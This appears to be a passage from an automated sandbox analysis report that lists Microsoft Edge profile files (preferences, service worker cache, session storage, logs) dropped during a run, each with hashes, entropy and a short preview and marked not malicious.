Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4cef5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.110760527436327
Encrypted:	false
SSDEEP:	192:stLkdpBosvVAaFvrE9k/lF8cbV+F1FIK7QAuMUwjPmYJ:stLQGsvVACDvbG1F97QZXi
MD5:	33E382EAAE795A31E4A47EC75D5B4A3E
SHA1:	55E331B2C8526FFC7492AB247FCB7CB3CA1FA639
SHA-256:	DED76AED8B767E1BCBA85CF70EC0424637EC2D1073C2B352CC30F424537A2150
SHA-512:	3974D4444DC79F033BAE1BE1A41709D0715E7F02A74847CDD90C310BD9D68FBFE9ED9D396644C9532126B3F65B8A2AA4CAEBEE3F7A7D4BDAF31B5E668C1106B1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5575741540164945
Encrypted:	false
SSDEEP:	768:xR1BBEWOv7pLGLp4lW5wgOf4yB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPksITINnO:x/3Elpcp4lWagOfbBu1jap9M00Htk
MD5:	8C352D7F0C4BC9CEEACC6ABAFFCBAB80
SHA1:	BB2F8333A4CAD691D7FA78402C1A0CBFCEB2556F
SHA-256:	5F78F637378F03203BEF5EC4D7855F338DA230447DE9EE048CCB2D845D7693FE
SHA-512:	A33702A79ADF302D08A58D511CE2057869BDE126C4941C30E83801B9B5EA10DAF934141CFCE878C91B8B3B1CDFB215FA6057C56493C9D91646090172BA34F1DE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376277516240767","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376277516240767","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF41171.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5575741540164945
Encrypted:	false
SSDEEP:	768:xR1BBEWOv7pLGLp4lW5wgOf4yB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPksITINnO:x/3Elpcp4lWagOfbBu1jap9M00Htk
MD5:	8C352D7F0C4BC9CEEACC6ABAFFCBAB80
SHA1:	BB2F8333A4CAD691D7FA78402C1A0CBFCEB2556F
SHA-256:	5F78F637378F03203BEF5EC4D7855F338DA230447DE9EE048CCB2D845D7693FE
SHA-512:	A33702A79ADF302D08A58D511CE2057869BDE126C4941C30E83801B9B5EA10DAF934141CFCE878C91B8B3B1CDFB215FA6057C56493C9D91646090172BA34F1DE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376277516240767","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376277516240767","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.8365088906542955
Encrypted:	false
SSDEEP:	48:F2embtrdD/gfBnXrd6NgtHrdD/LBVrdALB2:F1mbtxD/gJx6NgtHxD/vxAA
MD5:	994F8981782CA335805F46CB39B3ED90
SHA1:	8B3AAC7F5944988D1C7C7D437D6930984C87CE20
SHA-256:	17697938FE13F89F542B6FC69AA5F0D5C56D4559E3711BADE1FD212105BB2384
SHA-512:	30C2F3113D243F388A83E9F0D191EE51B9608A817048F3F1B21DAB06280D77571CD60B8635ADA637523C60FDAEF52BE3B28D238DC541DCABC7E2121E187CE67E
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.T..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.151730525496073
Encrypted:	false
SSDEEP:	6:HUeDsFB1N723oH+TcwtE/a252KLlVU3JcM+q2PN723oH+TcwtE/a2ZIFUv:OaYeb8xLscM+vVaYeb8J2FUv
MD5:	C89726524539FFCCAAFB44B984F2CA3A
SHA1:	5567B87CAC4480A0D2561A87379C56600F4ED53B
SHA-256:	6579AFE6FD6DA1E9C808118B9D43FCFBE27D3DC2F45F27B0AE2D7BE4A2A4482C
SHA-512:	D41780F8DBB540AEF949EB7D978E1CE2017EE800751B70877ED2A781CE164F2D35CEBCA58096225C69F7F57BDE8DE7FAF79B8EECE65198F8E6301FCA9FEBA452
Malicious:	false
Preview:	2024/11/16-19:38:51.125 1f8c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/16-19:38:51.136 1f8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.577749102662157
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqrE:d9LyxPXfOxr1lMe1nL/CL/TXEmilRI
MD5:	270C086B85C3F9E68041127FEA7A3787
SHA1:	D15C30A4B9C4AED57D742313FC26E2695756735D
SHA-256:	89625068BEC207562DE79B0C4675AFFBB8B0EDC72D3AE80F14B79B38DF92F88B
SHA-512:	59547C1781CD8D074C6C005E69226BA017F4CD71837EBDDAC8DD29AACA2C4EBF0316839FC46747462B40FC5DA1A0FD8846965B412439ED2AA7CAB4C02EB38262
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.387434153158896
Encrypted:	false
SSDEEP:	3072:mbocRKYMSVwiUbjhH3LL/2MLMSth4an5Oq1gCQZ/kJ:AVw/jR7L/l5tDn5daW
MD5:	26E00E9912EB7C57539EE17C0A96C63B
SHA1:	AE269AEB7F98CEC4FAC3E550285D989710C61948
SHA-256:	68569741893563B608E9D7FC9FCF17671A0255462C9157EDE03A802333163176
SHA-512:	E02AF511480031B80A563C7E0B59CB9E882574484E5D45C25BC83BCC3838D46A2DFA8C3047BDB7D6BE26A1E7E20B2FA0BA41376181849ED29593AD0357AA58B2
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.."....yT.........,T.8..`,.....L`.....,T...`......L`......Rc..l.....exports...RcjY......module....Rc.As.....define....Rb..K.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..s>b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:EhSyyXl/lR/lxE0tllfon:EhwC0Sn
MD5:	25DAECF3B96B0D8236611DE722FA4792
SHA1:	8D0B2633F2DFBE2AC8DFEDCE7C7C98818F62CDF4
SHA-256:	FC6C9B4B3DCE3B92E94E45AC2AA31B6955BD86596CC206A9F2A3988BFD91B429
SHA-512:	82E4E1A712C9F605AAB8A6FA1633EEF002D76C1279D30C0020A17448FC967A03C05EB7CB2398DAD7DF97328DF87780C5B931E4025CD3E686AD231EEEA30EEF88
Malicious:	false
Preview:	@....D.toy retne.........................X....,..................N../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:EhSyyXl/lR/lxE0tllfon:EhwC0Sn
MD5:	25DAECF3B96B0D8236611DE722FA4792
SHA1:	8D0B2633F2DFBE2AC8DFEDCE7C7C98818F62CDF4
SHA-256:	FC6C9B4B3DCE3B92E94E45AC2AA31B6955BD86596CC206A9F2A3988BFD91B429
SHA-512:	82E4E1A712C9F605AAB8A6FA1633EEF002D76C1279D30C0020A17448FC967A03C05EB7CB2398DAD7DF97328DF87780C5B931E4025CD3E686AD231EEEA30EEF88
Malicious:	false
Preview:	@....D.toy retne.........................X....,..................N../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4485f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:EhSyyXl/lR/lxE0tllfon:EhwC0Sn
MD5:	25DAECF3B96B0D8236611DE722FA4792
SHA1:	8D0B2633F2DFBE2AC8DFEDCE7C7C98818F62CDF4
SHA-256:	FC6C9B4B3DCE3B92E94E45AC2AA31B6955BD86596CC206A9F2A3988BFD91B429
SHA-512:	82E4E1A712C9F605AAB8A6FA1633EEF002D76C1279D30C0020A17448FC967A03C05EB7CB2398DAD7DF97328DF87780C5B931E4025CD3E686AD231EEEA30EEF88
Malicious:	false
Preview:	@....D.toy retne.........................X....,..................N../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	3.4331162993354907
Encrypted:	false
SSDEEP:	96:JK159wdbn3PWJ2Fc0aYmjiJ9Xp+U+ViVFEg5SLl9iSr/1VzVk:ndySc0dH9Xp+UKivh5SLl9iSr/HB
MD5:	911D933CEF9CCA37075D90C762CF4C89
SHA1:	E4AB8B79590348CE59E8A6C0CF10FEE16BA41BBE
SHA-256:	BF816C8022679C047B222F76648A3F3E33CE983788A97941DC4B5367C918B715
SHA-512:	932AA881F405E6618D8A502D6B1749A75138B074A196D81E2486E8153F47704C52FB126277B6D8F316CEA355AC2385FC8478E37BEFCAA8B38009914F4D51FEBB
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................z..b................next-map-id.1.Cnamespace-81187a20_50e8_4559_8530_cef5c86b845f-https://ntp.msn.com/.012...................map-0-shd_sweeper.%{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.e.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.i.t.4.c.3.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.-.e.n.-.n.s.5.-.t.1.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.g.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.,.1.s.w.-.t.p.s.n.-.d.s.t.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1441705106284275
Encrypted:	false
SSDEEP:	6:HUTi9+q2PN723oH+TcwtrQMxIFUt8YUT0JZmw+YUvWF6E9VkwON723oH+TcwtrQq:48+vVaYebCFUt8FW/+VWFdV5OaYebtJ
MD5:	2D8FA6A7853FD6B3B4BEE6870F97F109
SHA1:	226A9C191CB7C68BDD8441A3B80A2E334FB24E81
SHA-256:	D209DC4E6549EBAD47A8C4DBBDCAF8E276D3729387DFAA0382D1BDF8477AB522
SHA-512:	76B3BA365CD8EF626570CCE4095FCB73FE3EFA78EE979873ED466166E25DAF58CD38CD2CCB03EA82E70083A14D962DA7C7E2CAF6410C09866EADC808FAC8106B
Malicious:	false
Preview:	2024/11/16-19:38:36.806 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-19:38:36.808 1d2c Recovering log #3.2024/11/16-19:38:36.833 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1441705106284275
Encrypted:	false
SSDEEP:	6:HUTi9+q2PN723oH+TcwtrQMxIFUt8YUT0JZmw+YUvWF6E9VkwON723oH+TcwtrQq:48+vVaYebCFUt8FW/+VWFdV5OaYebtJ
MD5:	2D8FA6A7853FD6B3B4BEE6870F97F109
SHA1:	226A9C191CB7C68BDD8441A3B80A2E334FB24E81
SHA-256:	D209DC4E6549EBAD47A8C4DBBDCAF8E276D3729387DFAA0382D1BDF8477AB522
SHA-512:	76B3BA365CD8EF626570CCE4095FCB73FE3EFA78EE979873ED466166E25DAF58CD38CD2CCB03EA82E70083A14D962DA7C7E2CAF6410C09866EADC808FAC8106B
Malicious:	false
Preview:	2024/11/16-19:38:36.806 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-19:38:36.808 1d2c Recovering log #3.2024/11/16-19:38:36.833 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376277518742850

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7936605388251032
Encrypted:	false
SSDEEP:	24:3OlaxXPA/tpsAF4unx+xztLp3X2amEtG1ChqtQtlnQKkOAM4x:3OlaxXPAFzFs5Lp2FEkChcQQHOp
MD5:	A03C0F36177D1F15AC54F5EC265A53F5
SHA1:	9E07384FB28AED4D775D110B4764AB09479D6E66
SHA-256:	CAAE796DA7F3521C06ACCA8E2FF4EF09600B7EF93E1E65412D7B2850DEABF118
SHA-512:	05DD916BD8B77B8A045AE0BEB60BD2C34E1365BEA72C75D30AFCDA6A6B7EABFC76E20F3C48204A37A750B4A353DF5CFCB7C9B941EC5E42DD7CBD2815BDDA9EBD
Malicious:	false
Preview:	SNSS..........C..............C......"...C..............C..........C..........C..........C....!.....C..................................C...C1..,......C$...81187a20_50e8_4559_8530_cef5c86b845f......C..........C....2............C......C..........................C....................5..0......C&...{46F3A197-DB49-410A-81B3-94975C835573}........C..........C.............................C..............C........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........%g..'...%g..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.160824078286582
Encrypted:	false
SSDEEP:	6:HU3A9+q2PN723oH+Tcwt7Uh2ghZIFUt8YURS3JZmw+YUu39VkwON723oH+Tcwt7w:/+vVaYebIhHh2FUt87SZ/+YNV5OaYebs
MD5:	67C8EB983E131E35F8ACB6F8C1492846
SHA1:	799DB197811D9B7D96E961E9076AC288118017EF
SHA-256:	F688F44946F671F8A9AD511781F830FAEE378127024C9D2A97CA7E6BD8D56020
SHA-512:	1DAFD917DF081E8786946C60FD4F97BB2908BB4A9ED99F12066892A9BA33191CD6688E2B7598533F55A22D451ECCC5608CEEF3C0172F4E6D7CAAF3F9D3491834
Malicious:	false
Preview:	2024/11/16-19:38:36.389 1fbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-19:38:36.390 1fbc Recovering log #3.2024/11/16-19:38:36.392 1fbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.160824078286582
Encrypted:	false
SSDEEP:	6:HU3A9+q2PN723oH+Tcwt7Uh2ghZIFUt8YURS3JZmw+YUu39VkwON723oH+Tcwt7w:/+vVaYebIhHh2FUt87SZ/+YNV5OaYebs
MD5:	67C8EB983E131E35F8ACB6F8C1492846
SHA1:	799DB197811D9B7D96E961E9076AC288118017EF
SHA-256:	F688F44946F671F8A9AD511781F830FAEE378127024C9D2A97CA7E6BD8D56020
SHA-512:	1DAFD917DF081E8786946C60FD4F97BB2908BB4A9ED99F12066892A9BA33191CD6688E2B7598533F55A22D451ECCC5608CEEF3C0172F4E6D7CAAF3F9D3491834
Malicious:	false
Preview:	2024/11/16-19:38:36.389 1fbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-19:38:36.390 1fbc Recovering log #3.2024/11/16-19:38:36.392 1fbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
